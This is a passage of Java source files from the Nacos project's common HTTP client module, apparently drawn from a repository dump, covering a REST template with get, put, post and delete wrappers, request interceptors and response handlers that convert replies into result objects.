query), responseType, callback);\n    }\n    \n    /**\n     * async http delete large request, when the parameter exceeds the URL limit, you can use this method to put the\n     * parameter into the body pass.\n     *\n     * <p>{@code responseType} can be an RestResult or RestResult data {@code T} type\n     *\n     * <p>{@code callback} Result callback execution,\n     * if you need response headers, you can convert the received RestResult to HttpRestResult.\n     *\n     * @param url          url\n     * @param header       http header param\n     * @param body         body\n     * @param responseType return type\n     * @param callback     callback {@link Callback#onReceive(com.alibaba.nacos.common.model.RestResult)}\n     */\n    public <T> void delete(String url, Header header, String body, Type responseType, Callback<T> callback) {\n        execute(url, HttpMethod.DELETE_LARGE,\n                new RequestHttpEntity(header.setContentType(MediaType.APPLICATION_JSON), Query.EMPTY, body),\n                responseType, callback);\n    }\n    \n    /**\n     * async http put Create a new resource by PUTting the given body to http request.\n     *\n     * <p>URL request params are expanded using the given query {@link Query}.\n     *\n     * <p>{@code responseType} can be an RestResult or RestResult data {@code T} type\n     *\n     * <p>{@code callback} Result callback execution,\n     * if you need response headers, you can convert the received RestResult to HttpRestResult.\n     *\n     * @param url          url\n     * @param header       http header param\n     * @param query        http query param\n     * @param body         http body param\n     * @param responseType return type\n     * @param callback     callback {@link Callback#onReceive(com.alibaba.nacos.common.model.RestResult)}\n     */\n    public <T> void put(String url, Header header, Query query, Object body, Type responseType, Callback<T> callback) {\n        execute(url, HttpMethod.PUT, new RequestHttpEntity(header, query, body), responseType, callback);\n    }\n    \n    /**\n     * async http put Json Create a new resource by PUTting the given body to http request, http header contentType\n     * default 'application/json;charset=UTF-8'.\n     *\n     * <p>URL request params are expanded using the given query {@link Query}.\n     *\n     * <p>{@code responseType} can be an RestResult or RestResult data {@code T} type\n     *\n     * <p>{@code callback} Result callback execution,\n     * if you need response headers, you can convert the received RestResult to HttpRestResult.\n     *\n     * @param url          url\n     * @param header       http header param\n     * @param query        http query param\n     * @param body         http body param\n     * @param responseType return type\n     * @param callback     callback {@link Callback#onReceive(com.alibaba.nacos.common.model.RestResult)}\n     */\n    public <T> void putJson(String url, Header header, Query query, String body, Type responseType,\n            Callback<T> callback) {\n        execute(url, HttpMethod.PUT,\n                new RequestHttpEntity(header.setContentType(MediaType.APPLICATION_JSON), query, body), responseType,\n                callback);\n    }\n    \n    /**\n     * async http put Json Create a new resource by PUTting the given body to http request, http header contentType\n     * default 'application/json;charset=UTF-8'.\n     *\n     * <p>{@code responseType} can be an RestResult or RestResult data {@code T} type\n     *\n     * <p>{@code callback} Result callback execution,\n     * if you need response headers, you can convert the received RestResult to HttpRestResult.\n     *\n     * @param url          url\n     * @param header       http header param\n     * @param body         http body param\n     * @param responseType return type\n     * @param callback     callback {@link Callback#onReceive(com.alibaba.nacos.common.model.RestResult)}\n     */\n    public <T> void putJson(String url, Header header, String body, Type responseType, Callback<T> callback) {\n        execute(url, HttpMethod.PUT, new RequestHttpEntity(header.setContentType(MediaType.APPLICATION_JSON), body),\n                responseType, callback);\n    }\n    \n    /**\n     * async http put from Create a new resource by PUTting the given map {@code bodyValues} to http request, http\n     * header contentType default 'application/x-www-form-urlencoded;charset=utf-8'.\n     *\n     * <p>URL request params are expanded using the given query {@link Query}.\n     *\n     * <p>{@code responseType} can be an RestResult or RestResult data {@code T} type.\n     *\n     * <p>{@code callback} Result callback execution,\n     * if you need response headers, you can convert the received RestResult to HttpRestResult.\n     *\n     * @param url          url\n     * @param header       http header param\n     * @param query        http query param\n     * @param bodyValues   http body param\n     * @param responseType return type\n     * @param callback     callback {@link Callback#onReceive(com.alibaba.nacos.common.model.RestResult)}\n     */\n    public <T> void putForm(String url, Header header, Query query, Map<String, String> bodyValues, Type responseType,\n            Callback<T> callback) {\n        execute(url, HttpMethod.PUT,\n                new RequestHttpEntity(header.setContentType(MediaType.APPLICATION_FORM_URLENCODED), query, bodyValues),\n                responseType, callback);\n    }\n    \n    /**\n     * async http put from Create a new resource by PUTting the given map {@code bodyValues} to http request, http\n     * header contentType default 'application/x-www-form-urlencoded;charset=utf-8'.\n     *\n     * <p>{@code responseType} can be an RestResult or RestResult data {@code T} type.\n     *\n     * <p>{@code callback} Result callback execution,\n     * if you need response headers, you can convert the received RestResult to HttpRestResult.\n     *\n     * @param url          url\n     * @param header       http header param\n     * @param bodyValues   http body param\n     * @param responseType return type\n     * @param callback     callback {@link Callback#onReceive(com.alibaba.nacos.common.model.RestResult)}\n     */\n    public <T> void putForm(String url, Header header, Map<String, String> bodyValues, Type responseType,\n            Callback<T> callback) {\n        execute(url, HttpMethod.PUT,\n                new RequestHttpEntity(header.setContentType(MediaType.APPLICATION_FORM_URLENCODED), bodyValues),\n                responseType, callback);\n    }\n    \n    /**\n     * async http post Create a new resource by POSTing the given object to the http request.\n     *\n     * <p>URL request params are expanded using the given query {@link Query}.\n     *\n     * <p>{@code responseType} can be an RestResult or RestResult data {@code T} type.\n     *\n     * <p>{@code callback} Result callback execution,\n     * if you need response headers, you can convert the received RestResult to HttpRestResult.\n     *\n     * @param url          url\n     * @param header       http header param\n     * @param query        http query param\n     * @param body         http body param\n     * @param responseType return type\n     * @param callback     callback {@link Callback#onReceive(com.alibaba.nacos.common.model.RestResult)}\n     */\n    public <T> void post(String url, Header header, Query query, Object body, Type responseType, Callback<T> callback) {\n        execute(url, HttpMethod.POST, new RequestHttpEntity(header, query, body), responseType, callback);\n    }\n    \n    /**\n     * async http post Json Create a new resource by POSTing the given object to the http request, http header\n     * contentType default 'application/json;charset=UTF-8'.\n     *\n     * <p>URL request params are expanded using the given query {@link Query}.\n     *\n     * <p>{@code responseType} can be an RestResult or RestResult data {@code T} type.\n     *\n     * <p>{@code callback} Result callback execution,\n     * if you need response headers, you can convert the received RestResult to HttpRestResult.\n     *\n     * @param url          url\n     * @param header       http header param\n     * @param query        http query param\n     * @param body         http body param\n     * @param responseType return type\n     * @param callback     callback {@link Callback#onReceive(com.alibaba.nacos.common.model.RestResult)}\n     */\n    public <T> void postJson(String url, Header header, Query query, String body, Type responseType,\n            Callback<T> callback) {\n        execute(url, HttpMethod.POST,\n                new RequestHttpEntity(header.setContentType(MediaType.APPLICATION_JSON), query, body), responseType,\n                callback);\n    }\n    \n    /**\n     * async http post Json Create a new resource by POSTing the given object to the http request, http header\n     * contentType default 'application/json;charset=UTF-8'.\n     *\n     * <p>{@code responseType} can be an RestResult or RestResult data {@code T} type.\n     *\n     * <p>{@code callback} Result callback execution,\n     * if you need response headers, you can convert the received RestResult to HttpRestResult.\n     *\n     * @param url          url\n     * @param header       http header param\n     * @param body         http body param\n     * @param responseType return type\n     * @param callback     callback {@link Callback#onReceive(com.alibaba.nacos.common.model.RestResult)}\n     */\n    public <T> void postJson(String url, Header header, String body, Type responseType, Callback<T> callback) {\n        execute(url, HttpMethod.POST, new RequestHttpEntity(header.setContentType(MediaType.APPLICATION_JSON), body),\n                responseType, callback);\n    }\n    \n    /**\n     * async http post from Create a new resource by PUTting the given map {@code bodyValues} to http request, http\n     * header contentType default 'application/x-www-form-urlencoded;charset=utf-8'.\n     *\n     * <p>URL request params are expanded using the given query {@link Query}.\n     *\n     * <p>{@code responseType} can be an RestResult or RestResult data {@code T} type.\n     *\n     * <p>{@code callback} Result callback execution,\n     * if you need response headers, you can convert the received RestResult to HttpRestResult.\n     *\n     * @param url          url\n     * @param header       http header param\n     * @param query        http query param\n     * @param bodyValues   http body param\n     * @param responseType return type\n     * @param callback     callback {@link Callback#onReceive(com.alibaba.nacos.common.model.RestResult)}\n     */\n    public <T> void postForm(String url, Header header, Query query, Map<String, String> bodyValues, Type responseType,\n            Callback<T> callback) {\n        execute(url, HttpMethod.POST,\n                new RequestHttpEntity(header.setContentType(MediaType.APPLICATION_FORM_URLENCODED), query, bodyValues),\n                responseType, callback);\n    }\n    \n    /**\n     * async http post from Create a new resource by PUTting the given map {@code bodyValues} to http request, http\n     * header contentType default 'application/x-www-form-urlencoded;charset=utf-8'.\n     *\n     * <p>{@code responseType} can be an RestResult or RestResult data {@code T} type.\n     *\n     * <p>{@code callback} Result callback execution,\n     * if you need response headers, you can convert the received RestResult to HttpRestResult.\n     *\n     * @param url          url\n     * @param header       http header param\n     * @param bodyValues   http body param\n     * @param responseType return type\n     * @param callback     callback {@link Callback#onReceive(com.alibaba.nacos.common.model.RestResult)}\n     */\n    public <T> void postForm(String url, Header header, Map<String, String> bodyValues, Type responseType,\n            Callback<T> callback) {\n        execute(url, HttpMethod.POST,\n                new RequestHttpEntity(header.setContentType(MediaType.APPLICATION_FORM_URLENCODED), bodyValues),\n                responseType, callback);\n    }\n    \n    @SuppressWarnings(\"unchecked\")\n    private <T> void execute(String url, String httpMethod, RequestHttpEntity requestEntity, Type type,\n            Callback<T> callback) {\n        try {\n            URI uri = HttpUtils.buildUri(url, requestEntity.getQuery());\n            if (logger.isDebugEnabled()) {\n                logger.debug(\"HTTP method: {}, url: {}, body: {}\", httpMethod, uri, requestEntity.getBody());\n            }\n            ResponseHandler<T> responseHandler = super.selectResponseHandler(type);\n            clientRequest.execute(uri, httpMethod, requestEntity, responseHandler, callback);\n        } catch (Exception e) {\n            // When an exception occurs, use Callback to pass it instead of throw it directly.\n            callback.onError(e);\n        }\n    }\n    \n    /**\n     * close request client.\n     */\n    public void close() throws Exception {\n        clientRequest.close();\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/http/client/NacosRestTemplate.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http.client;\n\nimport com.alibaba.nacos.common.http.HttpClientConfig;\nimport com.alibaba.nacos.common.http.HttpRestResult;\nimport com.alibaba.nacos.common.http.HttpUtils;\nimport com.alibaba.nacos.common.http.client.handler.ResponseHandler;\nimport com.alibaba.nacos.common.http.client.request.DefaultHttpClientRequest;\nimport com.alibaba.nacos.common.http.client.request.HttpClientRequest;\nimport com.alibaba.nacos.common.http.client.request.JdkHttpClientRequest;\nimport com.alibaba.nacos.common.http.client.response.HttpClientResponse;\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.http.param.MediaType;\nimport com.alibaba.nacos.common.http.param.Query;\nimport com.alibaba.nacos.common.model.RequestHttpEntity;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.common.utils.HttpMethod;\nimport org.slf4j.Logger;\n\nimport java.io.File;\nimport java.lang.reflect.Type;\nimport java.net.URI;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * Nacos rest template Interface specifying a basic set of RESTful operations.\n *\n * @author mai.jh\n * @see HttpClientRequest\n * @see HttpClientResponse\n */\npublic class NacosRestTemplate extends AbstractNacosRestTemplate {\n    \n    private final HttpClientRequest requestClient;\n    \n    private final List<HttpClientRequestInterceptor> interceptors = new ArrayList<>();\n    \n    public NacosRestTemplate(Logger logger, HttpClientRequest requestClient) {\n        super(logger);\n        this.requestClient = requestClient;\n    }\n    \n    /**\n     * http get URL request params are expanded using the given query {@link Query}.\n     *\n     * <p>{@code responseType} can be an HttpRestResult or HttpRestResult data {@code T} type.\n     *\n     * @param url          url\n     * @param header       http header param\n     * @param query        http query param\n     * @param responseType return type\n     * @return {@link HttpRestResult}\n     * @throws Exception ex\n     */\n    public <T> HttpRestResult<T> get(String url, Header header, Query query, Type responseType) throws Exception {\n        return execute(url, HttpMethod.GET, new RequestHttpEntity(header, query), responseType);\n    }\n    \n    /**\n     * http get URL request params are expanded using the given query {@link Query}.\n     *\n     * <p>{@code responseType} can be an HttpRestResult or HttpRestResult data {@code T} type.\n     *\n     * <p>{@code config} Specify the request config via {@link HttpClientConfig}\n     *\n     * @param url          url\n     * @param config       http config\n     * @param header       headers\n     * @param query        http query param\n     * @param responseType return type\n     * @return {@link HttpRestResult}\n     * @throws Exception ex\n     */\n    public <T> HttpRestResult<T> get(String url, HttpClientConfig config, Header header, Query query, Type responseType)\n            throws Exception {\n        RequestHttpEntity requestHttpEntity = new RequestHttpEntity(config, header, query);\n        return execute(url, HttpMethod.GET, requestHttpEntity, responseType);\n    }\n    \n    /**\n     * get request, may be pulling a lot of data URL request params are expanded using the given query {@link Query},\n     * More request parameters can be set via body.\n     *\n     * <p>This method can only be used when HttpClientRequest is implemented by {@link DefaultHttpClientRequest}, note:\n     * {@link JdkHttpClientRequest} Implementation does not support this method.\n     *\n     * <p>{@code responseType} can be an HttpRestResult or HttpRestResult data {@code T} type.\n     *\n     * @param url          url\n     * @param header       http header param\n     * @param query        http query param\n     * @param body         get with body\n     * @param responseType return type\n     * @return {@link HttpRestResult}\n     * @throws Exception ex\n     */\n    public <T> HttpRestResult<T> getLarge(String url, Header header, Query query, Object body, Type responseType)\n            throws Exception {\n        return execute(url, HttpMethod.GET_LARGE, new RequestHttpEntity(header, query, body), responseType);\n    }\n    \n    /**\n     * http delete URL request params are expanded using the given query {@link Query}.\n     *\n     * <p>{@code responseType} can be an HttpRestResult or HttpRestResult data {@code T} type.\n     *\n     * @param url          url\n     * @param header       http header param\n     * @param query        http query param\n     * @param responseType return type\n     * @return {@link HttpRestResult}\n     * @throws Exception ex\n     */\n    public <T> HttpRestResult<T> delete(String url, Header header, Query query, Type responseType) throws Exception {\n        return execute(url, HttpMethod.DELETE, new RequestHttpEntity(header, query), responseType);\n    }\n    \n    /**\n     * http delete URL request params are expanded using the given query {@link Query}.\n     *\n     * <p>{@code responseType} can be an HttpRestResult or HttpRestResult data {@code T} type.\n     *\n     * <p>{@code config} Specify the request config via {@link HttpClientConfig}\n     *\n     * @param url          url\n     * @param config       http config\n     * @param header       http header param\n     * @param query        http query param\n     * @param responseType return type\n     * @return {@link HttpRestResult}\n     * @throws Exception ex\n     */\n    public <T> HttpRestResult<T> delete(String url, HttpClientConfig config, Header header, Query query,\n            Type responseType) throws Exception {\n        return execute(url, HttpMethod.DELETE, new RequestHttpEntity(config, header, query), responseType);\n    }\n    \n    /**\n     * http put Create a new resource by PUTting the given body to http request.\n     *\n     * <p>URL request params are expanded using the given query {@link Query}.\n     *\n     * <p>{@code responseType} can be an HttpRestResult or HttpRestResult data {@code T} type.\n     *\n     * @param url          url\n     * @param header       http header param\n     * @param query        http query param\n     * @param body         http body param\n     * @param responseType return type\n     * @return {@link HttpRestResult}\n     * @throws Exception ex\n     */\n    public <T> HttpRestResult<T> put(String url, Header header, Query query, Object body, Type responseType)\n            throws Exception {\n        return execute(url, HttpMethod.PUT, new RequestHttpEntity(header, query, body), responseType);\n    }\n    \n    /**\n     * http put json Create a new resource by PUTting the given body to http request, http header contentType default\n     * 'application/json;charset=UTF-8'.\n     *\n     * <p>URL request params are expanded using the given query {@link Query}.\n     *\n     * <p>{@code responseType} can be an HttpRestResult or HttpRestResult data {@code T} type.\n     *\n     * @param url          url\n     * @param header       http header param\n     * @param query        http query param\n     * @param body         http body param\n     * @param responseType return type\n     * @return {@link HttpRestResult}\n     * @throws Exception ex\n     */\n    public <T> HttpRestResult<T> putJson(String url, Header header, Query query, String body, Type responseType)\n            throws Exception {\n        RequestHttpEntity requestHttpEntity = new RequestHttpEntity(header.setContentType(MediaType.APPLICATION_JSON),\n                query, body);\n        return execute(url, HttpMethod.PUT, requestHttpEntity, responseType);\n    }\n    \n    /**\n     * http put json Create a new resource by PUTting the given body to http request, http header contentType default\n     * 'application/json;charset=UTF-8'.\n     *\n     * <p>{@code responseType} can be an HttpRestResult or HttpRestResult data {@code T} type.\n     *\n     * @param url          url\n     * @param header       http header param\n     * @param body         http body param\n     * @param responseType return type\n     * @return {@link HttpRestResult}\n     * @throws Exception ex\n     */\n    public <T> HttpRestResult<T> putJson(String url, Header header, String body, Type responseType) throws Exception {\n        RequestHttpEntity requestHttpEntity = new RequestHttpEntity(header.setContentType(MediaType.APPLICATION_JSON),\n                body);\n        return execute(url, HttpMethod.PUT, requestHttpEntity, responseType);\n    }\n    \n    /**\n     * http put from Create a new resource by PUTting the given map {@code bodyValues} to http request, http header\n     * contentType default 'application/x-www-form-urlencoded;charset=utf-8'.\n     *\n     * <p>URL request params are expanded using the given query {@code Query}.\n     *\n     * <p>{@code responseType} can be an HttpRestResult or HttpRestResult data {@code T} type.\n     *\n     * @param url          url\n     * @param header       http header param\n     * @param query        http query param\n     * @param bodyValues   http body param\n     * @param responseType return type\n     * @return {@link HttpRestResult}\n     * @throws Exception ex\n     */\n    public <T> HttpRestResult<T> putForm(String url, Header header, Query query, Map<String, String> bodyValues,\n            Type responseType) throws Exception {\n        RequestHttpEntity requestHttpEntity = new RequestHttpEntity(\n                header.setContentType(MediaType.APPLICATION_FORM_URLENCODED), query, bodyValues);\n        return execute(url, HttpMethod.PUT, requestHttpEntity, responseType);\n    }\n    \n    /**\n     * http put from Create a new resource by PUTting the given map {@code bodyValues} to http request, http header\n     * contentType default 'application/x-www-form-urlencoded;charset=utf-8'.\n     *\n     * <p>{@code responseType} can be an HttpRestResult or HttpRestResult data {@code T} type.\n     *\n     * @param url          url\n     * @param header       http header param\n     * @param bodyValues   http body param\n     * @param responseType return type\n     * @return {@link HttpRestResult}\n     * @throws Exception ex\n     */\n    public <T> HttpRestResult<T> putForm(String url, Header header, Map<String, String> bodyValues, Type responseType)\n            throws Exception {\n        RequestHttpEntity requestHttpEntity = new RequestHttpEntity(\n                header.setContentType(MediaType.APPLICATION_FORM_URLENCODED), bodyValues);\n        return execute(url, HttpMethod.PUT, requestHttpEntity, responseType);\n    }\n    \n    /**\n     * http put from Create a new resource by PUTting the given map {@code bodyValues} to http request, http header\n     * contentType default 'application/x-www-form-urlencoded;charset=utf-8'.\n     *\n     * <p>{@code responseType} can be an HttpRestResult or HttpRestResult data {@code T} type.\n     *\n     * <p>{@code config} Specify the request config via {@link HttpClientConfig}\n     *\n     * @param url          url\n     * @param config       http config\n     * @param header       http header param\n     * @param bodyValues   http body param\n     * @param responseType return type\n     * @return {@link HttpRestResult}\n     * @throws Exception ex\n     */\n    public <T> HttpRestResult<T> putForm(String url, HttpClientConfig config, Header header,\n            Map<String, String> bodyValues, Type responseType) throws Exception {\n        RequestHttpEntity requestHttpEntity = new RequestHttpEntity(config,\n                header.setContentType(MediaType.APPLICATION_FORM_URLENCODED), bodyValues);\n        return execute(url, HttpMethod.PUT, requestHttpEntity, responseType);\n    }\n    \n    /**\n     * http post Create a new resource by POSTing the given object to the http request.\n     *\n     * <p>URL request params are expanded using the given query {@link Query}.\n     *\n     * <p>{@code responseType} can be an HttpRestResult or HttpRestResult data {@code T} type.\n     *\n     * @param url          url\n     * @param header       http header param\n     * @param query        http query param\n     * @param body         http body param\n     * @param responseType return type\n     * @return {@link HttpRestResult}\n     * @throws Exception ex\n     */\n    public <T> HttpRestResult<T> post(String url, Header header, Query query, Object body, Type responseType)\n            throws Exception {\n        return execute(url, HttpMethod.POST, new RequestHttpEntity(header, query, body), responseType);\n    }\n    \n    /**\n     * http post json Create a new resource by POSTing the given object to the http request, http header contentType\n     * default 'application/json;charset=UTF-8'.\n     *\n     * <p>URL request params are expanded using the given query {@link Query}.\n     *\n     * <p>{@code responseType} can be an HttpRestResult or HttpRestResult data {@code T} type.\n     *\n     * @param url          url\n     * @param header       http header param\n     * @param query        http query param\n     * @param body         http body param\n     * @param responseType return type\n     * @return {@link HttpRestResult}\n     * @throws Exception ex\n     */\n    public <T> HttpRestResult<T> postJson(String url, Header header, Query query, String body, Type responseType)\n            throws Exception {\n        RequestHttpEntity requestHttpEntity = new RequestHttpEntity(header.setContentType(MediaType.APPLICATION_JSON),\n                query, body);\n        return execute(url, HttpMethod.POST, requestHttpEntity, responseType);\n    }\n    \n    /**\n     * http post json Create a new resource by POSTing the given object to the http request, http header contentType\n     * default 'application/json;charset=UTF-8'.\n     *\n     * <p>{@code responseType} can be an HttpRestResult or HttpRestResult data {@code T} type.\n     *\n     * @param url          url\n     * @param header       http header param\n     * @param body         http body param\n     * @param responseType return type\n     * @return {@link HttpRestResult}\n     * @throws Exception ex\n     */\n    public <T> HttpRestResult<T> postJson(String url, Header header, String body, Type responseType) throws Exception {\n        RequestHttpEntity requestHttpEntity = new RequestHttpEntity(header.setContentType(MediaType.APPLICATION_JSON),\n                body);\n        return execute(url, HttpMethod.POST, requestHttpEntity, responseType);\n    }\n    \n    /**\n     * http post from Create a new resource by PUTting the given map {@code bodyValues} to http request, http header\n     * contentType default 'application/x-www-form-urlencoded;charset=utf-8'.\n     *\n     * <p>URL request params are expanded using the given query {@link Query}.\n     *\n     * <p>{@code responseType} can be an HttpRestResult or HttpRestResult data {@code T} type.\n     *\n     * @param url          url\n     * @param header       http header param\n     * @param query        http query param\n     * @param bodyValues   http body param\n     * @param responseType return type\n     * @return {@link HttpRestResult}\n     * @throws Exception ex\n     */\n    public <T> HttpRestResult<T> postForm(String url, Header header, Query query, Map<String, String> bodyValues,\n            Type responseType) throws Exception {\n        RequestHttpEntity requestHttpEntity = new RequestHttpEntity(\n                header.setContentType(MediaType.APPLICATION_FORM_URLENCODED), query, bodyValues);\n        return execute(url, HttpMethod.POST, requestHttpEntity, responseType);\n    }\n    \n    /**\n     * http post from Create a new resource by PUTting the given map {@code bodyValues} to http request, http header\n     * contentType default 'application/x-www-form-urlencoded;charset=utf-8'.\n     *\n     * <p>{@code responseType} can be an HttpRestResult or HttpRestResult data {@code T} type.\n     *\n     * @param url          url\n     * @param header       http header param\n     * @param bodyValues   http body param\n     * @param responseType return type\n     * @return {@link HttpRestResult}\n     * @throws Exception ex\n     */\n    public <T> HttpRestResult<T> postForm(String url, Header header, Map<String, String> bodyValues, Type responseType)\n            throws Exception {\n        RequestHttpEntity requestHttpEntity = new RequestHttpEntity(\n                header.setContentType(MediaType.APPLICATION_FORM_URLENCODED), bodyValues);\n        return execute(url, HttpMethod.POST, requestHttpEntity, responseType);\n    }\n    \n    /**\n     * http post from Create a new resource by PUTting the given map {@code bodyValues} to http request, http header\n     * contentType default 'application/x-www-form-urlencoded;charset=utf-8'.\n     *\n     * <p>{@code responseType} can be an HttpRestResult or HttpRestResult data {@code T} type.\n     *\n     * <p>{@code config} Specify the request config via {@link HttpClientConfig}\n     *\n     * @param url          url\n     * @param config       http config\n     * @param header       http header param\n     * @param bodyValues   http body param\n     * @param responseType return type\n     * @return {@link HttpRestResult}\n     * @throws Exception ex\n     */\n    public <T> HttpRestResult<T> postForm(String url, HttpClientConfig config, Header header,\n            Map<String, String> bodyValues, Type responseType) throws Exception {\n        RequestHttpEntity requestHttpEntity = new RequestHttpEntity(config,\n                header.setContentType(MediaType.APPLICATION_FORM_URLENCODED), bodyValues);\n        return execute(url, HttpMethod.POST, requestHttpEntity, responseType);\n    }\n    \n    public <T> HttpRestResult<T> postFile(String url, HttpClientConfig config, Header header,\n            File file, Type responseType) throws Exception {\n        RequestHttpEntity requestHttpEntity = new RequestHttpEntity(config, header, file);\n        return execute(url, HttpMethod.POST, requestHttpEntity, responseType);\n    }\n    \n    /**\n     * Execute the HTTP method to the given URI template, writing the given request entity to the request, and returns\n     * the response as {@link HttpRestResult}.\n     *\n     * @param url          url\n     * @param header       http header param\n     * @param query        http query param\n     * @param bodyValues   http body param\n     * @param httpMethod   http method\n     * @param responseType return type\n     * @return {@link HttpRestResult}\n     * @throws Exception ex\n     */\n    public <T> HttpRestResult<T> exchangeForm(String url, Header header, Query query, Map<String, String> bodyValues,\n            String httpMethod, Type responseType) throws Exception {\n        RequestHttpEntity requestHttpEntity = new RequestHttpEntity(\n                header.setContentType(MediaType.APPLICATION_FORM_URLENCODED), query, bodyValues);\n        return execute(url, httpMethod, requestHttpEntity, responseType);\n    }\n    \n    /**\n     * Execute the HTTP method to the given URI template, writing the given request entity to the request, and returns\n     * the response as {@link HttpRestResult}.\n     *\n     * @param url          url\n     * @param config       HttpClientConfig\n     * @param header       http header param\n     * @param query        http query param\n     * @param body         http body param\n     * @param httpMethod   http method\n     * @param responseType return type\n     * @return {@link HttpRestResult}\n     * @throws Exception ex\n     */\n    public <T> HttpRestResult<T> exchange(String url, HttpClientConfig config, Header header, Query query,\n            Object body, String httpMethod, Type responseType) throws Exception {\n        RequestHttpEntity requestHttpEntity = new RequestHttpEntity(config, header, query, body);\n        return execute(url, httpMethod, requestHttpEntity, responseType);\n    }\n    \n    /**\n     * Set the request interceptors that this accessor should use.\n     *\n     * @param interceptors {@link HttpClientRequestInterceptor}\n     */\n    public void setInterceptors(List<HttpClientRequestInterceptor> interceptors) {\n        if (this.interceptors != interceptors) {\n            this.interceptors.clear();\n            this.interceptors.addAll(interceptors);\n        }\n    }\n    \n    /**\n     * Return the request interceptors that this accessor uses.\n     *\n     * <p>The returned {@link List} is active and may get appended to.\n     */\n    public List<HttpClientRequestInterceptor> getInterceptors() {\n        return interceptors;\n    }\n    \n    @SuppressWarnings(\"unchecked\")\n    private <T> HttpRestResult<T> execute(String url, String httpMethod, RequestHttpEntity requestEntity,\n            Type responseType) throws Exception {\n        URI uri = HttpUtils.buildUri(url, requestEntity.getQuery());\n        if (logger.isDebugEnabled()) {\n            logger.debug(\"HTTP method: {}, url: {}, body: {}\", httpMethod, uri, requestEntity.getBody());\n        }\n        \n        ResponseHandler<T> responseHandler = super.selectResponseHandler(responseType);\n        HttpClientResponse response = null;\n        try {\n            response = this.requestClient().execute(uri, httpMethod, requestEntity);\n            return responseHandler.handle(response);\n        } finally {\n            if (response != null) {\n                response.close();\n            }\n        }\n    }\n    \n    private HttpClientRequest requestClient() {\n        if (CollectionUtils.isNotEmpty(interceptors)) {\n            if (logger.isDebugEnabled()) {\n                logger.debug(\"Execute via interceptors :{}\", interceptors);\n            }\n            return new InterceptingHttpClientRequest(requestClient, interceptors.iterator());\n        }\n        return requestClient;\n    }\n    \n    /**\n     * close request client.\n     */\n    public void close() throws Exception {\n        requestClient.close();\n    }\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/http/client/handler/AbstractResponseHandler.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http.client.handler;\n\nimport com.alibaba.nacos.common.http.HttpRestResult;\nimport com.alibaba.nacos.common.http.client.response.HttpClientResponse;\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.utils.IoUtils;\nimport org.apache.hc.core5.http.HttpStatus;\n\nimport java.lang.reflect.Type;\n\n/**\n * Abstract response handler.\n *\n * @author mai.jh\n */\npublic abstract class AbstractResponseHandler<T> implements ResponseHandler<T> {\n    \n    private Type responseType;\n    \n    @Override\n    public final void setResponseType(Type responseType) {\n        this.responseType = responseType;\n    }\n    \n    @Override\n    public final HttpRestResult<T> handle(HttpClientResponse response) throws Exception {\n        if (HttpStatus.SC_OK != response.getStatusCode()) {\n            return handleError(response);\n        }\n        return convertResult(response, this.responseType);\n    }\n    \n    private HttpRestResult<T> handleError(HttpClientResponse response) throws Exception {\n        Header headers = response.getHeaders();\n        String message = IoUtils.toString(response.getBody(), headers.getCharset());\n        return new HttpRestResult<>(headers, response.getStatusCode(), null, message);\n    }\n    \n    /**\n     * Abstract convertResult method, Different types of converters for expansion.\n     *\n     * @param response     http client response\n     * @param responseType responseType\n     * @return HttpRestResult\n     * @throws Exception ex\n     */\n    public abstract HttpRestResult<T> convertResult(HttpClientResponse response, Type responseType) throws Exception;\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/http/client/handler/BeanResponseHandler.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http.client.handler;\n\nimport com.alibaba.nacos.common.http.HttpRestResult;\nimport com.alibaba.nacos.common.http.client.response.HttpClientResponse;\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\n\nimport java.lang.reflect.Type;\n\n/**\n * bean response handler,\n * Mainly converter response type as bean type.\n *\n * @author mai.jh\n */\npublic class BeanResponseHandler<T> extends AbstractResponseHandler<T> {\n    \n    @Override\n    public HttpRestResult<T> convertResult(HttpClientResponse response, Type responseType) throws Exception {\n        final Header headers = response.getHeaders();\n        T extractBody = JacksonUtils.toObj(response.getBody(), responseType);\n        return new HttpRestResult<>(headers, response.getStatusCode(), extractBody, null);\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/http/client/handler/ResponseHandler.java",
